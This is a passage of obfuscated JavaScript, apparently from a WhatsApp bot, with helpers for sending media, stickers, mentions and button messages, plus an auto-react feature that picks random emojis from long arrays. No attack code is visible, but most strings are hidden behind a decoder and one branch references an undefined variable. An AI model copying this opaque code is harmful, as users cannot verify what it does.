_0x301a37=_0x5924c2;return[..._0xc57a6a['matchAll'](/@([0-9]{5,16}|0)/g)][_0x301a37(0x1ed)](_0x4c91e9=>_0x4c91e9[0x1]+_0x301a37(0x1f1));},_0x339093[_0x5924c2(0x11c)]=async(_0x4b4342,_0x1029bf,_0x13d518='',_0x4b1a03='',_0x28ac64='',_0xd8ddd3={})=>{const _0x5d6c4c=_0x5924c2;let _0x140f71=await _0x339093[_0x5d6c4c(0xc8)](_0x1029bf,!![]),{mime:_0x515be5,ext:_0x2bdc79,res:_0xb2273d,data:_0xf09427,filename:_0x29d12c}=_0x140f71;if(_0xb2273d&&_0xb2273d[_0x5d6c4c(0x1b3)]!==0xc8||file[_0x5d6c4c(0x13d)]<=0x10000)try{throw{'json':JSON[_0x5d6c4c(0x15e)](file[_0x5d6c4c(0x18f)]())};}catch(_0x4e9ebe){if(_0x4e9ebe['json'])throw _0x4e9ebe[_0x5d6c4c(0xbd)];}let _0x3311d5='',_0xf2ac50=_0x515be5,_0x45529d=_0x29d12c;if(_0xd8ddd3[_0x5d6c4c(0x231)])_0x3311d5=_0x5d6c4c(0x238);if(_0xd8ddd3['asSticker']||/webp/[_0x5d6c4c(0xff)](_0x515be5)){let {writeExif:_0x32c096}=require(_0x5d6c4c(0x8f)),_0x1a9330={'mimetype':_0x515be5,'data':_0xf09427};_0x45529d=await _0x32c096(_0x1a9330,{'packname':_0xd8ddd3['packname']?_0xd8ddd3['packname']:Config['packname'],'author':_0xd8ddd3[_0x5d6c4c(0x1d6)]?_0xd8ddd3['author']:Config['author'],'categories':_0xd8ddd3[_0x5d6c4c(0x1bb)]?_0xd8ddd3['categories']:[]}),await fs[_0x5d6c4c(0x163)]['unlink'](_0x29d12c),_0x3311d5='sticker',_0xf2ac50='image/webp';}else{if(/image/[_0x5d6c4c(0xff)](_0x515be5))_0x3311d5=_0x5d6c4c(0x1f5);else{if(/video/[_0x5d6c4c(0xff)](_0x515be5))_0x3311d5=_0x5d6c4c(0x180);else{if(/audio/[_0x5d6c4c(0xff)](_0x515be5))_0x3311d5=_0x5d6c4c(0x1aa);else _0x3311d5='document';}}}return await _0x339093['sendMessage'](_0x4b4342,{[_0x3311d5]:{'url':_0x45529d},'caption':_0x4b1a03,'mimetype':_0xf2ac50,'fileName':_0x13d518,..._0xd8ddd3},{'quoted':_0x28ac64,..._0xd8ddd3}),fs['promises']['unlink'](_0x45529d);},_0x339093[_0x5924c2(0x197)]=async(_0x27db81,_0x4fca60,_0x216e72={})=>{const _0x50cd70=_0x5924c2;let _0x5ac819;_0x216e72&&(_0x216e72[_0x50cd70(0x1f0)]||_0x216e72[_0x50cd70(0x1d6)])?_0x5ac819=await writeExifVid(_0x4fca60,_0x216e72):_0x5ac819=await videoToWebp(_0x4fca60),await _0x339093['sendMessage'](_0x27db81,{'sticker':{'url':_0x5ac819},..._0x216e72},_0x216e72);},_0x339093['sendImageAsSticker']=async(_0x52f0c1,_0x73273,_0x159fae={})=>{const _0x1e9f93=_0x5924c2;let _0x2574ba;_0x159fae&&(_0x159fae['packname']||_0x159fae[_0x1e9f93(0x1d6)])?_0x2574ba=await writeExifImg(_0x73273,_0x159fae):_0x2574ba=await imageToWebp(_0x73273),await _0x339093['sendMessage'](_0x52f0c1,{'sticker':{'url':_0x2574ba},..._0x159fae},_0x159fae);},_0x339093['sendTextWithMentions']=async(_0x354375,_0x2dbdc3,_0x44d1cd,_0x3d5aa8={})=>_0x339093[_0x5924c2(0x200)](_0x354375,{'text':_0x2dbdc3,'contextInfo':{'mentionedJid':[..._0x2dbdc3['matchAll'](/@(\d{0,16})/g)]['map'](_0xcdef2e=>_0xcdef2e[0x1]+_0x5924c2(0x1f1))},..._0x3d5aa8},{'quoted':_0x44d1cd}),_0x339093[_0x5924c2(0x9e)]=async(_0x172db7,_0x5e6376,_0x357c8c='',_0x4a01e6='',_0x2c8e40)=>{const _0x405c8e=_0x5924c2;let _0x201a51=Buffer['isBuffer'](_0x5e6376)?_0x5e6376:/^data:.*?\/.*?;base64,/i[_0x405c8e(0xff)](_0x5e6376)?Buffer[_0x405c8e(0x127)](_0x5e6376['split']`,`[0x1],_0x405c8e(0x16f)):/^https?:\/\//[_0x405c8e(0xff)](_0x5e6376)?await await getBuffer(_0x5e6376):fs['existsSync'](_0x5e6376)?fs['readFileSync'](_0x5e6376):Buffer['alloc'](0x0);return await _0x339093[_0x405c8e(0x200)](_0x172db7,{'image':_0x201a51,'caption':_0x357c8c,..._0x2c8e40},{'quoted':_0x4a01e6});},_0x339093[_0x5924c2(0x100)]=(_0x305f7d,_0xab6bea,_0x3888d3='',_0x489421)=>_0x339093[_0x5924c2(0x200)](_0x305f7d,{'text':_0xab6bea,..._0x489421},{'quoted':_0x3888d3}),_0x339093[_0x5924c2(0x108)]=(_0x2e3cf9,_0x40d2e3=[],_0x378253,_0x510c8a,_0x3c7ee1='',_0x233b2e={})=>{let _0x482782={'text':_0x378253,'footer':_0x510c8a,'buttons':_0x40d2e3,'headerType':0x2,..._0x233b2e};_0x339093['sendMessage'](_0x2e3cf9,_0x482782,{'quoted':_0x3c7ee1,..._0x233b2e});},_0x339093[_0x5924c2(0x16b)]=async(_0x53ca76,_0x1156a4='',_0x3ae7a6='',_0x2a0d24,_0x174115=[],_0x6f7da8,_0x29c854={})=>{const _0x5a0762=_0x5924c2;let _0x2ef513=await prepareWAMessageMedia({'image':_0x2a0d24,'jpegThumbnail':_0x6f7da8},{'upload':_0x339093[_0x5a0762(0x1d2)]});var _0x4e505e=generateWAMessageFromContent(_0x53ca76,proto[_0x5a0762(0x91)]['fromObject']({'templateMessage':{'hydratedTemplate':{'imageMessage':_0x2ef513['imageMessage'],'hydratedContentText':_0x1156a4,'hydratedFooterText':_0x3ae7a6,'hydratedButtons':_0x174115}}}),_0x29c854);_0x339093[_0x5a0762(0x17f)](_0x53ca76,_0x4e505e[_0x5a0762(0x1cf)],{'messageId':_0x4e505e['key']['id']});};_0x4f6dfd&&config[_0x5924c2(0xde)]===_0x5924c2(0x227)&&await _0x339093[_0x5924c2(0x15c)]([_0x4a6ae3[_0x5924c2(0x187)]]);if(_0xe84b8d['includes'](_0x5924c2(0x1e0))){if(_0x1fff02)return;_0x14d8b5[_0x5924c2(0x190)](_0x5924c2(0x152));}if(!_0x1fff02&&_0xe84b8d!==_0x11bcf6){if(config[_0x5924c2(0x1fc)]===_0x5924c2(0x227)){const _0x18a289=['😊','👍','😂','💯','🔥','🙏','🎉','👏','😎','🤖','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫','🕷️',_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),'🕸️','💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫','🕷️',_0x5924c2(0x121),'💀','👻','🕺','💃','🕴️','👶','👵','👴','👱','👨','👩','👧','👦','👪','🙂','😑','🤣','😍','😘','😗','😙','😚','😛','😝','😞','😟','😠','😡','😢','😭','😓','😳','😴','😌','😆','😂','🤔','😒','😓','😶','🙄','🐶','🐱','🐔','🐷','🐴','🐲','🐸','🐳','🐋','🐒','🐑','🐕','🐩','🍔','🍕','🥤','🍣','🍲','🍴','🍽','🍹','🍸','🎂','📱','📺','📻','🎤','📚','💻','📸','📷','❤️','💔','❣️','☀️','🌙','🌃','🏠','🚪',_0x5924c2(0x134),'🇬🇧',_0x5924c2(0x228),_0x5924c2(0x229),_0x5924c2(0x1c5),'🇫🇷',_0x5924c2(0x1a4),'👍','👎','👏','👫','👭','👬','👮','🤝','🙏','👑','🌻','🌺','🌸','🌹','🌴',_0x5924c2(0x201),'🌊','🚗','🚌',_0x5924c2(0x1a3),'🛫️','🛬️','🚣','🛥','🚂','🚁','🚀','🏃‍♂️',_0x5924c2(0x211),_0x5924c2(0x17b),_0x5924c2(0x119),'🎾','🏀','🏈','🎯','🏆','??','⬆️','⬇️','⇒','⇐','↩️','↪️','ℹ️','‼️','⁉️','‽️','©️','®️','™️','🔴','🔵','🟢','🔹','🔺','💯','👑','🤣',_0x5924c2(0x166),_0x5924c2(0x11a),_0x5924c2(0x21b),_0x5924c2(0x1df),'🙆‍♂️',_0x5924c2(0xe2),_0x5924c2(0xd7),_0x5924c2(0x17c),'🏻',_0x5924c2(0x193),_0x5924c2(0xee),_0x5924c2(0x14b),_0x5924c2(0x102),_0x5924c2(0xa4),_0x5924c2(0x1a1),'🚫','🚽','🕳️','💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷','🕯️','💡','🔦','�','🏯','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🌳','🌲','🌾','🌿','🍃','🍂','🍃','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌱','🌿','🍃','🍂','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫','🕷️',_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🐒','🦍','🦧','🐶','🐕','🦮',_0x5924c2(0x19a),'🐩','🐺','🦊','🦝','🐱','🐈',_0x5924c2(0x213),'🦁','🐯','🐅','🐆','🐴','🐎','🦄','🦓','🦌','🦬','🐮','🐂','🐃','🐄','🐷','🐖','🐗','🐽','🐏','🐑','🐐','🐪','🐫','🦙','🦒','🐘','🦣','🦏','🦛','🐭','🐁','🐀','🐹','🐰','🐇','🐿️','🦫','🦔','🦇','🐻',_0x5924c2(0x1fb),'🐨','🐼','🦥','🦦','🦨','🦘','🦡','🐾','🦃','🐔','🐓','🐣','🐤','🐥','🐦','🐧',_0x5924c2(0x19b),'🦅','🦆','🦢','🦉','🦤','🪶','🦩','🦚','🦜','🐸','🐊','🐢','🦎','🐍','🐲','🐉','🦕','🦖','🐳','🐋','🐬','🦭','🐟','🐠','😀','😃','😄','😁','😆','😅','🤣','😂','🙂','🙃','😉','😊','😇','🥰','😍','🤩','😘','😗','☺️','😚','😙','🥲','😋','😛','😜','🤪','😝','🤑','🤗','🤭','🤫','🤔','🤐','🤨','😐','😑','😶','😶‍🌫️','😏','😒','🙄','😬',_0x5924c2(0x15b),'🤥','😌','😔','😪','🤤','😴','😷','🤒','🤕','🤢','🤮','🤧','🥵','🥶','🥴','😵',_0x5924c2(0xe5),'🤯','🤠','🥳','🥸','😎','🤓','🧐','😕','😟','🙁','☹️','😮','😯','😲','😳','🥺','😦','😧','😨','😰','😥','😢','😭','😱','😖','😣','😞','😓','😩','😫','🥱','😤','😡','😠','🤬','😈','👿','💀','☠️','💩','🤡','👹','👺','👻','👽','👾','🤖','😺','😸','😹','😻','😼','😽','🙀','😿','😾','🙈','🙉','🙊','💋','💌','💘','💝','💖','💗','💓','💞','💕','💟','❣️','💔',_0x5924c2(0x133),_0x5924c2(0xe0),'❤️','🧡','💛','💚','💙','💜','🤎','🖤','🤍','💯','💢','💥','💫','💦','💨','🕳️','💣','💬',_0x5924c2(0xfd),_0x5924c2(0xcc),_0x5924c2(0x1ca),'💭','💤','👋','🤚',_0x5924c2(0x18c),'✋','🖖','👌','🤌','🤏','✌️','🤞','🤟','🤘','🤙','👈','👉','👆','🖕','👇','☝️','👍','👎','✊','👊','🤛','🤜','👏','🙌','👐','🤲','🤝','🙏','✍️','💅','🤳','💪','🦾','🦿','🦵','🦶','👂','🦻','👃','🧠','🫀','🫁','🦷','🦴','👀',_0x5924c2(0xd3),'👅','👄','👶','🧒','👦','👧','🧑','👱','👨','🧔','🧔‍♂️',_0x5924c2(0x92),_0x5924c2(0x1e5),_0x5924c2(0x125),'👨‍🦳',_0x5924c2(0x169),'👩',_0x5924c2(0xa8),_0x5924c2(0xb2),_0x5924c2(0x170),_0x5924c2(0xd5),_0x5924c2(0x10a),_0x5924c2(0x1d4),_0x5924c2(0x1e8),'🧑‍🦲',_0x5924c2(0x1b2),_0x5924c2(0x1f9),'🧓','👴','👵','🙍','🙍‍♂️','🙍‍♀️','🙎',_0x5924c2(0x143),_0x5924c2(0x208),'🙅',_0x5924c2(0x21b),_0x5924c2(0x1df),'🙆',_0x5924c2(0x18e),_0x5924c2(0xe2),'💁',_0x5924c2(0x161),'💁‍♀️','🙋',_0x5924c2(0x10e),_0x5924c2(0x215),'🧏',_0x5924c2(0xe4),_0x5924c2(0xaa),'🙇',_0x5924c2(0xa2),_0x5924c2(0x140),'🤦',_0x5924c2(0xd7),_0x5924c2(0x17c),'🤷',_0x5924c2(0x166),_0x5924c2(0x11a),_0x5924c2(0x192),_0x5924c2(0x1c0),_0x5924c2(0x22a),_0x5924c2(0x20b),'👨‍🎓',_0x5924c2(0x20c),_0x5924c2(0x149),_0x5924c2(0x167),'👩‍🏫',_0x5924c2(0x156),_0x5924c2(0x115),_0x5924c2(0x1ae),_0x5924c2(0x233),_0x5924c2(0x1b6),_0x5924c2(0x19c),'🧑‍🍳',_0x5924c2(0x1a7),_0x5924c2(0x136),_0x5924c2(0x12b),_0x5924c2(0xba),_0x5924c2(0x1e3),_0x5924c2(0x223),_0x5924c2(0x1f7),_0x5924c2(0xb0),'🧑‍💼',_0x5924c2(0x175),_0x5924c2(0x154),_0x5924c2(0x165),_0x5924c2(0x22e),_0x5924c2(0x202),_0x5924c2(0x14c),'👨‍💻',_0x5924c2(0x1e9),_0x5924c2(0x177),_0x5924c2(0xce),_0x5924c2(0x16e),'🧑‍🎨',_0x5924c2(0x105),'👩‍🎨',_0x5924c2(0x209),'👨‍✈️',_0x5924c2(0xe7),_0x5924c2(0x1f8),_0x5924c2(0x212),_0x5924c2(0x1ee),_0x5924c2(0x15a),'👨‍🚒','👩‍🚒','👮',_0x5924c2(0x205),_0x5924c2(0xab),_0x5924c2(0xa0),_0x5924c2(0x112),_0x5924c2(0x198),'💂',_0x5924c2(0x207),_0x5924c2(0x1bd),'🥷','👷',_0x5924c2(0x17d),_0x5924c2(0x217),'🤴','👸','👳',_0x5924c2(0xa3),'👳‍♀️','👲','🧕','🤵',_0x5924c2(0xf1),_0x5924c2(0x1a8),'👰',_0x5924c2(0x1e2),_0x5924c2(0x11e),'🤰','🤱',_0x5924c2(0x151),_0x5924c2(0x1be),_0x5924c2(0x1a9),'👼','🎅','🤶',_0x5924c2(0x16c),'🦸',_0x5924c2(0x94),'🦸‍♀️','🦹',_0x5924c2(0x15f),_0x5924c2(0x224),'🧙',_0x5924c2(0x239),_0x5924c2(0x21c),'🧚',_0x5924c2(0x22c),_0x5924c2(0x1bf),'🧛','🧛‍♂️','🧛‍♀️','🧜',_0x5924c2(0x1fa),'🧜‍♀️','🧝',_0x5924c2(0xbc),_0x5924c2(0xdb),'🧞',_0x5924c2(0x16a),_0x5924c2(0xd4),'🧟',_0x5924c2(0xc4),'🧟‍♀️','💆',_0x5924c2(0x193),_0x5924c2(0xee),'💇',_0x5924c2(0xa4),'💇‍♀️','🚶',_0x5924c2(0xd1),_0x5924c2(0x1ef),'🧍',_0x5924c2(0xe8),'🧍‍♀️','🧎',_0x5924c2(0xbe),'🧎‍♀️','🧑‍🦯','👨‍🦯',_0x5924c2(0x111),'🧑‍🦼',_0x5924c2(0xfb),_0x5924c2(0x203),_0x5924c2(0xf5),_0x5924c2(0x20a),'👩‍🦽','🏃',_0x5924c2(0x1f4),'🏃‍♀️','💃','🕺',_0x5924c2(0x178),'👯',_0x5924c2(0x164),_0x5924c2(0xea),'🧖','🧖‍♂️',_0x5924c2(0x204),'🧗',_0x5924c2(0x174),'🧗‍♀️','🤺','🏇','⛷️','🏂',_0x5924c2(0x20f),'🏌️‍♂️',_0x5924c2(0xd6),'🏄',_0x5924c2(0x119),_0x5924c2(0xd2),'🚣',_0x5924c2(0x98),_0x5924c2(0x1ec),'🏊',_0x5924c2(0x17b),_0x5924c2(0x222),'⛹️',_0x5924c2(0xda),_0x5924c2(0x230),_0x5924c2(0x95),_0x5924c2(0x118),_0x5924c2(0x211),'🚴',_0x5924c2(0x221),'🚴‍♀️','🚵',_0x5924c2(0x171),_0x5924c2(0x1ea),'🤸',_0x5924c2(0x126),_0x5924c2(0xf8),'🤼',_0x5924c2(0xc7),_0x5924c2(0x141),'🤽','🤽‍♂️',_0x5924c2(0x20e),'🤾',_0x5924c2(0x225),'🤾‍♀️','🤹',_0x5924c2(0xa6),_0x5924c2(0x1fd),'🧘',_0x5924c2(0x107),_0x5924c2(0x8e),'🛀','🛌',_0x5924c2(0x236),'👭','👫','👬','💏',_0x5924c2(0xb1),'👨‍❤️‍💋‍👨',_0x5924c2(0xa7),'💑','👩‍❤️‍👨',_0x5924c2(0x145),_0x5924c2(0x1e4),'👪',_0x5924c2(0xad),'👨‍👩‍👧',_0x5924c2(0x116),_0x5924c2(0x191),'👨‍👩‍👧‍👧',_0x5924c2(0xdc),_0x5924c2(0x1b1),_0x5924c2(0x11d),_0x5924c2(0x1d5),_0x5924c2(0x101),'👩‍👩‍👦',_0x5924c2(0x135),_0x5924c2(0x22d),'👩‍👩‍👦‍👦',_0x5924c2(0xbf),_0x5924c2(0x160),_0x5924c2(0x158),_0x5924c2(0x15d),'👨‍👧‍👦',_0x5924c2(0x22f),'👩‍👦','👩‍👦‍👦','👩‍👧','👩‍👧‍👦',_0x5924c2(0x1c2),'🗣️','👤','👥','🫂','👣','🦰','🦱','🦳','🦲','🐵'],_0x30f2fd=_0x18a289[Math[_0x5924c2(0x1a5)](Math[_0x5924c2(0x1d0)]()*_0x18a289[_0x5924c2(0x13d)])];_0x14d8b5[_0x5924c2(0x190)](_0x30f2fd);}}if(!_0x1fff02&&_0xe84b8d===_0x11bcf6){if(config[_0x5924c2(0x1fc)]==='true'){const _0x16bcd8=['😊','👍','😂','💯','🔥','🙏','🎉','👏','😎','🤖','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃','🕴️','👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫','🕷️',_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','🙂','😑','🤣','😍','😘','😗','😙','😚','😛','😝','😞','😟','😠','😡','😢','😭','😓','😳','😴','😌','😆','😂','🤔','😒','😓','😶','🙄','🐶','🐱','🐔','🐷','🐴','🐲','🐸','🐳','🐋','🐒','🐑','🐕','🐩','🍔','🍕','🥤','🍣','🍲','🍴','🍽','🍹','🍸','🎂','📱','📺','📻','🎤','📚','💻','📸','📷','❤️','💔','❣️','☀️','🌙','🌃','🏠','🚪','🇺🇸',_0x5924c2(0x1a2),_0x5924c2(0x228),_0x5924c2(0x229),_0x5924c2(0x1c5),_0x5924c2(0x12d),'🇪🇸','👍','👎','👏','👫','👭','👬','👮','🤝','🙏','👑','🌻','🌺','🌸','🌹','🌴',_0x5924c2(0x201),'🌊','🚗','🚌','🛣️',_0x5924c2(0x19e),'🛬️','🚣','🛥','🚂','🚁','🚀',_0x5924c2(0x1f4),'🏋️‍♀️',_0x5924c2(0x17b),_0x5924c2(0x119),'🎾','🏀','🏈','🎯','🏆','??','⬆️','⬇️','⇒','⇐','↩️','↪️','ℹ️','‼️','⁉️','‽️','©️','®️','™️','🔴','🔵','🟢','🔹','🔺','💯','👑','🤣',_0x5924c2(0x166),_0x5924c2(0x11a),_0x5924c2(0x21b),_0x5924c2(0x1df),_0x5924c2(0x18e),_0x5924c2(0xe2),_0x5924c2(0xd7),'🤦‍♀️','🏻',_0x5924c2(0x193),_0x5924c2(0xee),_0x5924c2(0x14b),_0x5924c2(0x102),'💇‍♂️',_0x5924c2(0x1a1),'🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬','📽️','📸','📷',_0x5924c2(0x11f),'💡','🔦','�','🏯','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽','🕳️','💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','